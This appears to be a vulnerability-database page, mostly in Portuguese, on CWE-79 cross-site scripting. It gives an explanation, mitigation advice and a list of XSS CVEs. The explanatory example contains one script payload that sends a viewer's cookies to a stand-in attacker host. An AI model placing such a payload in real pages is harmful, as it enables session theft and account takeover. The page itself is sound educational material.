Fallos del tipo CWE-79

28.761 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2019-11828MEDIUMCross-site scripting (XSS) vulnerability in Chart in Synology Office before 3.1.4-2771 allows remote authenticated users to inject arbitraryEPSS 0.7%CVE-2024-4484MEDIUMThe Plus Addons for Elementor – Elementor Addons, Page Templates, Widgets, Mega Menu, WooCommerce <= 5.5.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.7%CVE-2025-13761HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.7%CVE-2020-16242—GE Reason S20 Ethernet SwitchEPSS 0.7%CVE-2023-30860HIGHWWBN/AVideo stored XSS vulnerability leads to takeover of any user's account, including admin's accountEPSS 0.7%CVE-2023-26211MEDIUMAn improper neutralization of input during web page generation ('cross-site scripting') in Fortinet FortiSOAR 7.3.0 through 7.3.2 allows an EPSS 0.7%CVE-2024-24815MEDIUMCKEditor4 Cross-site scripting (XSS) vulnerability caused by incorrect CDATA detectionEPSS 0.7%CVE-2022-43420MEDIUMJenkins Contrast Continuous Application Security Plugin 3.9 and earlier does not escape data returned from the Contrast service when generatEPSS 0.7%CVE-2025-34278MEDIUMNagios Network Analyzer < 2024R1 Source Groups / Percentile Calculator Menu Stored XSSEPSS 0.7%CVE-2024-47140HIGHA cross-site scripting (xss) vulnerability exists in the add_alert_check page of Observium CE 24.4.13528. A specially crafted HTTP request cEPSS 0.7%CVE-2020-5336MEDIUMRSA Archer, versions prior to 6.7 P1 (6.7.0.1), contain a URL injection vulnerability. An unauthenticated attacker could potentially exploitEPSS 0.7%CVE-2022-0251HIGHCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 0.7%CVE-2021-1490MEDIUMCisco Web Security Appliance Cross-Site Scripting VulnerabilityEPSS 0.7%CVE-2021-24813—Events Made Easy < 2.2.24 - Admin+ Stored Cross-Site ScriptingEPSS 0.7%CVE-2025-24415HIGHAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2025-24412HIGHAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2025-24416HIGHAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2025-24413HIGHAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2025-24417HIGHAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%CVE-2025-24414HIGHAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.7%